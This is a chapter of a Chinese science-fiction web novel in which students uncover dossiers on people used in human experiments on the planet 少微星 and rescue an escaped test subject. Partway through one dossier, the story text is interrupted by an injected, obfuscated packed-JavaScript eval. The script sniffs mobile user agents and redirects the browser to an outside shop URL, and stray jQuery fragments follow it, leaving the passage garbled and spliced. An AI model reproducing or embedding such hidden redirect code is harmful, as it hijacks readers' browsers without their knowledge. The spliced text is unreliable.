39. 找到红猫
作品:《今天也在努力活着》 【假如一切重新来过,你还会做出相同的决定吗?】
“谁!这在装神弄鬼?”容凌怒斥。
回应他的是沉默。
“喵~”
一声熟悉的猫叫声。
容凌呼吸一窒,暴怒遏制在喉中。他缓缓转身,不出所料,他此刻正站在少微星的停舶港。
那只刻在他记忆深处的黑猫在不远处端坐,优雅地舔毛。
漆黑的猫眼里倒映着他的模样,幽深的瞳孔仿佛一个黑洞,将他吞噬。
容凌眼中场景迅速变化。他坐在熟悉的椅子上,房间内光线晦暗不明,一地狼藉。
“不要难过,还有我在。”
容凌呆楞转身,脸上滑落的泪水被柔软温热的肉垫拂去,肩上的重量很轻,只能感受到几只猫脚的触感。
感受到脸颊的温热离去,他下意识伸出手想要握住,却硬生生停在半空。
他没有错,容家的人不会做错任何事!
容凌冷漠、大力推开肩上的黑猫,猫儿小小的身子直直跌落。
地面化作碎影,万千碎片如浮光掠过。
容凌身着完备的防护服,在煞白的实验室内受众人簇拥。
他冷冷仰视前方空中的圆形容器,里面的猫儿包裹在一层淡黄色薄膜中,疯狂挣扎。
不久,它尖锐的尖爪消散,油亮的皮毛掉落,肌理胜血。它再没了往日的自在轻盈模样。
容凌不发一语离开。它浑黄的眼珠早已看不清,但还是认出了那个背影。
它不舍……希望他高兴。
……梦醒了。
一滴冷泪蔓延,落到深灰色枕头上,洇出更深色。
容凌坐起,看着指尖泪滴的晶莹,用指腹狠狠抹去。
他从不后悔。
———
波莉打开金属筒子,倒出与面前大门如出一辙的深黑色钥匙。
钥匙嵌入门体,严丝合缝,浑然一体。
下一秒,地面传来震动,地面石子不停跳动。
众人稳住身形,屏息以待。
雾中,原本只有一人高的门拔升。震感停止时,在他们面前的是足有八米高的黑色大门。随着厚重的摩擦声响起,门扉缓缓打开,露出里面的漆黑。
「我的天,这是啥门啊还可以从地底长出来?」
「这貌似是……髓银宿铁吧,黑成这样的材质真不多见。」
「髓银宿铁不在星海公库里吗?我前段时间还去参观过。」
阿尔维德上前,手指抹过门体,轻嗤,“少微星,还真是深藏不露。”
原本以为一人高的门就是它的全部了,结果……
安丑傻傻看着,嘴里不自觉念叨:“……这么大,怕不是把星海公库里的髓银宿铁都搬来了……”
钟榆垂下眼,握住右手手腕,平息阵阵袭来的痛感。
刚才对付追兵用力过度,右手手套下的皮肤已如蛛网般裂开,血液漫流,治愈相态也无法愈合。
“小榆?进去了。”严汀雨提醒道。
钟榆点头,迈步跟上。
身后的周易之盯着钟榆背影,若有所思。
门内一片死寂。
莱奥纳调动火系相态点燃廊柱,火光瞬间顺延传递,廊柱根根亮起照亮黑暗。
门内建筑呈圆形,一圈平台延伸数米,平台之下是烧焦的百阶阶梯。
依靠廊柱中的火光无法看清数十米的地下。
周易之几人落在后面,刚走到大门处就被一道紫色电光拦下。
叶星阑懒懒靠在黑色墙壁上,面容冷峻,指尖电蛇攒动。
周易之停下脚步,凝视地面。
钟榆几人当时处在乌里亚外围,相态力与空气接触会发生爆炸。而现在,核心区域,似乎并不会。
牧承和烛七也意识到这一点,防御姿态初现。
叶星阑欲上前一步,手臂被人拽住。
他略带怒气回头,是聿暮雪。他不解。
聿暮雪只道:“你们先走。”
听到这句,周易之手中凝聚的相态力不减,对峙良久,确定了他们确实不在此时挑事才收手。
等联校几人走后,叶星阑甩开手。
见好友脸色不虞,布莱恩轻拍他肩膀,一切尽在不言中。
钟榆一进门,浓烈的焦味涌入鼻腔,引人发呛。
其他军校的大部分人都下去探索地下区域了。
钟榆环顾一周,地面平台上还有几个房间,炸的焦黑,全是废墟。
她正准备踏上楼梯时,左后方传来异响。
前面的严汀雨和边栀见她许久未跟上回过头喊她,“怎么了?”
异响还在持续。
钟榆朝下招手,同时向声源处走去。
异响一步一步将她引入房内,钟榆左手背在身后,迈出的每一脚都格外小心。
身后脚步声临近,钟榆抬起右手示意两人安静。
严汀雨边栀对视一眼,放轻脚步。
异响源自房间内右侧的墙角,墙壁漆黑,看不出原本样貌。
钟榆幻化长剑,剑尖轻挑,刚接触那块墙皮竟整块掉落,露出里面完好无损的保险箱。
见此情景三人皆是一愣。
钟榆蹲下身,下意识用右手去碰,手套已经包裹不住里面肆流血液,一滴一滴滴落,在地上溅出几朵血花。
“小榆你的手。”边栀惊呼。
钟榆这才注意到血一直在流,她不自然地甩了甩疼到失去感觉的右手,一滴血飞溅到保险箱上。
这样下去也不行,钟榆索性撕下手套,右手的裂隙像拼合的碎裂瓷片。
“怎么会这样?”
“你怎么搞的?”
严汀雨和安丑的声音重合。
周易之四人不知何时出现在门口。
钟榆一副大惊小怪的样子,“又不是什么很严重的伤,你们和聿暮雪他们的事解决了?”
“也不算解决吧,只能说暂时搁置。”安丑道。
“是跟拍卖会的人交手伤的?”周易之掠过几人上前,手里递来一瓶伤药。
他一路沿着血迹找来,想来这伤无法用治愈相态治疗。
边栀接过,小心翼翼地帮钟榆抹药,生怕弄疼她。
见她这副模样钟榆道:“不疼的,你放心抹。”
每次用力过度右手都会这样,钟榆早就习惯了,平时不动它过个好几天自己就好了,倒也不费心。
聿暮雪隐匿在门边,神情暗暗。一阵风吹过,送不出去的SPC端正地摆放在窗台上,人已消失不见。
在几人交谈时,保险箱上的血液消失殆尽,内部齿轮缓慢转动,外面的人只听到“咔哒”的解锁声。
牧承上前细细探查,“奇怪,爆炸都炸不坏的东西怎么就无缘无故地打开了?”
“里面有什么?”钟榆问。
牧承伸手拿出厚厚一叠纸质资料,分给众人。
正好药涂完了,钟榆道了谢,接过资料,纸上熟悉的脸让她错愕。
姓名:李郭
年龄:35岁
职位:少微星艾尔德文区行政管事
是否觉醒:否
系统内部评级:可参与实验
背景:出生于少微星和里老街-上街,体制内底层家庭。父母均于少微星经济转型关键期意外去世。从档案室见习员一路晋升,晋升关键节点均与配合处理敏感事务直接相关
心理与行为侧写:外在极度谦卑、服从,是完美体制人。内在被深度恐惧驱动,害怕失去现有位置,对体制产生斯德哥尔摩综合症候式的依赖,通过完成一切指令来确定自身价值
实验结果:成功
看完久久不能回神。
那位卑微到了尘埃里的管事,也是加害者。
资料被抽走,钟榆手心一空,听到周易之讽刺的声音:“你早该想到的,对这种人不需要浪费感情。”
那张纸也随着他的话飘落在污脏的地上。
钟榆继续翻看资料。
姓名:芬恩·凯勒
年龄:22岁
职位:无
是否觉醒:是,精神力等级:C7
系统内部评估:契合度高
母星:烬尘星
背景:出身于星球最后一座将熄的熔炉城市,是四口之家里唯一的幸存者,渡来少微星谋生
心理与行为侧写:内心麻木,了无生机
实验结果:成功
姓名:苏茜·玛菈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050380|191174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年龄:15岁
职位:无
是否觉醒:是,精神力等级:D1
系统内部评估:契合度中
母星:丰饶三号
背景:父母为低等契约农奴,欠下巨债,被父母卖出还债
心理与行为侧写:内心单纯,抱有幻想
实验结果:失败,已死亡
……阿米尔、劳拉、小虫……
全都是低等星人,或自愿或被迫来到、途经少微星港口,就再也出不去。
不大的房间内被沉默淹没。
严汀雨死死捏着手中的纸张,身体紧绷,牙关紧咬。
钟榆按住他的手臂,瞥见那张纸上是一个长相甜美的小女孩,名叫西尔芙,来自CX445星。
那也是严汀雨的母星。
……
突然,房间内光线变化,沉重的声音再次响起。
烛七一个箭步出门,“大门关了。”
钟榆蓦地抬头,她的相态力在地底波动,身形一瞬消失。
“钟榆……”周易之几人马上追去。
地底,苏木连滚带爬躲避地上空中的障碍物,身上青一块紫一块,手上无数的深紫色针口分外显眼。
他喘着粗气,赤脚全力奔跑,时不时回头看天上飞的地上追的机器人,躲避攻击。
倏地,他的脚步慢下了,眼前是一条绝路。上面是将近百米的墙壁。
苏木一步步后退,单薄的白色实验服挂在身上,满是口子。
“哔——找到C2984号,启动歼灭模式。”
一束束灯光打到苏木身上,他颤抖闭上眼,瘦骨嶙峋的手臂遮在身前,迎接死亡。
“砰——!”灰尘四起,强大的能量余波吹得他不禁后退。
“钟榆,你的手还没好!”严汀雨追在后面大吼。
是恩人!苏木心里憋了好久的感情像泄闸般涌出,他扑通跪在地上,泪流满面。
“恩人……”
“怎么又跪下了?”钟榆皱眉,“你怎么会在儿?”
苏木拿袖子抹了两把眼泪,抽噎地讲起事情经过。
那天他离开和里老街后,心情很好,想着去B6街道买林子最喜欢的枣糕,等林子回来发现一定会很高兴。
天色渐晚,苏木一路疾走,赶在摊主收摊前买下了最后一个桂花枣糕。
他将枣糕放在怀里,走出B6街时听到了不远处建筑内的争吵。
听墙角这事对他来说轻车熟路,毕竟情报可能卖出一手好价。
他猫着身体找了处灌木丛掩体,聚精会神地听。
“药物代谢道速度比预计快……容大人是不想我们活了。”一道男声响起,带着压抑的恐慌和居高临下。
“……我们……原本只有我的……”另一道声音隔了许久才出现,语气尖刻。
“你该感谢我才是,若不是我,就凭你当初做的那些破事早就是一捧黄土了!”
“哈哈哈哈哈哈哈乔平,你也好不到哪儿去,你做的好事可不少,谁知不是被灭口的?”声量陡然拔高。
“哼!此番争执毫无意义,只要你还想活着,只要你还放不下手中的权力……你就得像狗一样去摇尾乞怜……”
苏木听得脸皱成一团,影子虽然隔着窗帘,但分明只有一道。
乔平这个名字很耳熟,是……是三年前爆炸案死的那位管事!
意识到这点,苏木脸一下刷白,胸口的枣糕烫的心脏疼。他不能被发现,一旦被发现就会没命,快走!
苏木转身,!一张朴素无奇的脸凭空出现在身后,冷冷地、像毒蛇般注视着他。
苏木腿一软坐在地上,心里只有三个字:他完了。
“之后、之后他就把我带到这儿,把我绑在试验台上抽血……”苏木目光惊恐,身体止不住地抖。
“你说,那个人喊了一声乔平?”聿暮雪站在高处,嗓音清冷富有穿透力。
声音隔得挺远,苏木顿了一秒肯定道:“没错!我的听力是听墙角练出来的,绝对没有听错,他说的就是乔平!”
苏木说的坦荡,还挺自豪。
聿暮雪懂了,低头凝视手中从李郭办公室里带出的SPC,这就是两人一体双魂的“药”。

